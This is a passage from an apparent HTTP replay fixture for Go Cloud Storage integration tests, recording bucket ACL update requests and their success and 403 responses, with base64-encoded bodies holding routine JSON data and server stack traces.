dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "11cd5140a264e423", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "377" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:58 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo2_tsxxuZC3Ni-A0zL0E9w8OVne0sWfLi61Cv48eTWj2R4F6G0AmXZU7J8L-WnDJf4s-6GpZV0SyQqrjBA_Mp75pJfWb6cl9_7oimTy8HPnxAtMwc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZG9tYWluLWdvb2dsZS5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvYWNsL2RvbWFpbi1nb29nbGUuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwiZW50aXR5IjoiZG9tYWluLWdvb2dsZS5jb20iLCJyb2xlIjoiUkVBREVSIiwiZG9tYWluIjoiZ29vZ2xlLmNvbSIsImV0YWciOiJDQU09In0=" - } - }, - { - "ID": "dac6629e58d45469", - "Request": { - "Method": "PUT", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=veener-jba", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "107" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJlbnRpdHkiOiJkb21haW4tZ29vZ2xlLmNvbSIsInJvbGUiOiJSRUFERVIifQo=" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13099" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:58 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrTXUzCa6WOvWD6NqoHhkdwRtG0Z4h0QurHOuKU1gyAWzXOt8lc1NVsLqe-6m8siE76k7l8g0EY3Le273_4GFB81gHMhM4qBOOgbwSBgLl4zKHZspU" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPUZPUkJJRERFTiwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjkwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuVXBkYXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoVXBkYXRlQWNscy5qYXZhOjI3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci51cGRhdGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDMpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YTo5MClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLlVwZGF0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFVwZGF0ZUFjbHMuamF2YToyNylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IudXBkYXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMD